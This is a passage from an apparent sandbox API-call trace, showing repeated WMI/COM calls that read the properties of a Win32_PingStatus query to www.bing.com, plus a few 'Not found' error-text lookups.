varVal1=0x0, varVal2=0x0), pType=0x2827894*=0, plFlavor=0x2827898*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827894*=8, plFlavor=0x2827898*=64) returned 0x0 [0136.821] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28278bc*=0, plFlavor=0x28278c0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28278bc*=8, plFlavor=0x28278c0*=64) returned 0x0 [0136.821] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.821] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.821] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827914*=0, plFlavor=0x2827918*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2827914*=8, plFlavor=0x2827918*=64) returned 0x0 [0136.821] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.821] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.821] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827aec*=0, plFlavor=0x2827af0*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2827aec*=3, plFlavor=0x2827af0*=64) returned 0x0 [0136.821] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827b20*=0, plFlavor=0x2827b24*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea1c0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6128, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2827b20*=8200, plFlavor=0x2827b24*=64) returned 0x0 [0136.822] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827b54*=0, plFlavor=0x2827b58*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2827b54*=8, plFlavor=0x2827b58*=64) returned 0x0 [0136.822] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.822] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.822] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827ba0*=0, plFlavor=0x2827ba4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2827ba0*=8, plFlavor=0x2827ba4*=64) returned 0x0 [0136.822] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.822] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.822] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827bec*=0, plFlavor=0x2827bf0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2827bec*=8, plFlavor=0x2827bf0*=64) returned 0x0 [0136.822] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.822] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.822] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0136.822] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0136.823] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.823] IWbemClassObject:Get (in: This=0x5ce4808, wszName="WriteWarningStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827e20*=0, plFlavor=0x2827e24*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2827e20*=0, plFlavor=0x2827e24*=0) returned 0x80041002 [0136.823] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0136.824] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5ce6128) returned 0x0 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0136.825] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5ce6128, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5ce6238) returned 0x0 [0136.825] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x0 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5ce6238) returned 0x0 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0136.825] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6238) returned 0x3 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0136.825] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0136.825] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0136.825] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0136.825] WbemStatusCodeText:IUnknown:Release (This=0x5ce6238) returned 0x2 [0136.825] WbemStatusCodeText:IUnknown:Release (This=0x5ce6238) returned 0x1 [0136.825] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0136.825] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0136.826] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6238, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5ce6238) returned 0x0 [0136.826] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6238) returned 0x3 [0136.826] WbemStatusCodeText:IUnknown:Release (This=0x5ce6238) returned 0x2 [0136.826] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5ce6238, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0136.826] SysStringByteLen (bstr="Not found ") returned 0x14 [0136.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.827] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.827] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.827] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0136.827] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0136.827] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.827] IWbemClassObject:GetNames (in: This=0x5ce4808, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0136.827] SafeArrayGetDim (psa=0x5cea010) returned 0x1 [0136.827] SafeArrayGetDim (psa=0x5cea010) returned 0x1 [0136.827] SafeArrayGetLBound (in: psa=0x5cea010, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0136.828] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.828] SysStringByteLen (bstr="__GENUS") returned 0xe [0136.828] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.828] SysStringByteLen (bstr="__CLASS") returned 0xe [0136.828] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.828] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0136.828] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.828] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0136.828] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.828] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0136.828] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.828] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0136.828] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.828] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0136.828] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.828] SysStringByteLen (bstr="__SERVER") returned 0x10 [0136.828] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.828] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0136.828] SysStringByteLen (bstr="__PATH") returned 0xc [0136.828] SysStringByteLen (bstr="__PATH") returned 0xc [0136.829] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828200*=0, plFlavor=0x2828204*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2828200*=3, plFlavor=0x2828204*=64) returned 0x0 [0136.829] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828234*=0, plFlavor=0x2828238*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2828234*=8, plFlavor=0x2828238*=64) returned 0x0 [0136.829] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.829] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.829] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282828c*=0, plFlavor=0x2828290*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282828c*=8, plFlavor=0x2828290*=64) returned 0x0 [0136.829] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28282b4*=0, plFlavor=0x28282b8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x28282b4*=8, plFlavor=0x28282b8*=64) returned 0x0 [0136.829] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.829] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0136.829] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x282830c*=0, plFlavor=0x2828310*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x282830c*=8, plFlavor=0x2828310*=64) returned 0x0 [0136.830] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.830] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0136.830] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28284e4*=0, plFlavor=0x28284e8*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x28284e4*=3, plFlavor=0x28284e8*=64) returned 0x0 [0136.830] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828518*=0, plFlavor=0x282851c*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea0d0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5ce6128, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2828518*=8200, plFlavor=0x282851c*=64) returned 0x0 [0136.831] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828558*=0, plFlavor=0x282855c*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2828558*=8, plFlavor=0x282855c*=64) returned 0x0 [0136.831] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.831] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0136.831] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28285a4*=0, plFlavor=0x28285a8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x28285a4*=8, plFlavor=0x28285a8*=64) returned 0x0 [0136.831] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.831] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0136.831] IWbemClassObject:Get (in: This=0x5ce4808, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28285f0*=0, plFlavor=0x28285f4*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x28285f0*=8, plFlavor=0x28285f4*=64) returned 0x0 [0136.831] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.831] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0136.831] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0136.831] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0136.831] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0136.831] IWbemClassObject:Get (in: This=0x5ce4808, wszName="WriteVerboseStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828824*=0, plFlavor=0x2828828*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2828824*=0, plFlavor=0x2828828*=0) returned 0x80041002 [0136.831] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0136.833] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5ce6128) returned 0x0 [0136.833] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6128, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0136.833] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5ce6128, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5ce6268) returned 0x0 [0136.833] WbemStatusCodeText:IUnknown:Release (This=0x5ce6128) returned 0x0 [0136.833] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5ce6268) returned 0x0 [0136.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0136.834] WbemStatusCodeText:IUnknown:AddRef (This=0x5ce6268) returned 0x3 [0136.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0136.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0136.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0136.834] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0136.834] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0136.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0136.834] WbemStatusCodeText:IUnknown:Release (This=0x5ce6268) returned 0x2 [0136.834] WbemStatusCodeText:IUnknown:Release (This=0x5ce6268) returned 0x1 [0136.834] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0136.834] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0136.834] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5ce6268, riid=0x59fe764*(Data1=0xeb87e1bc, 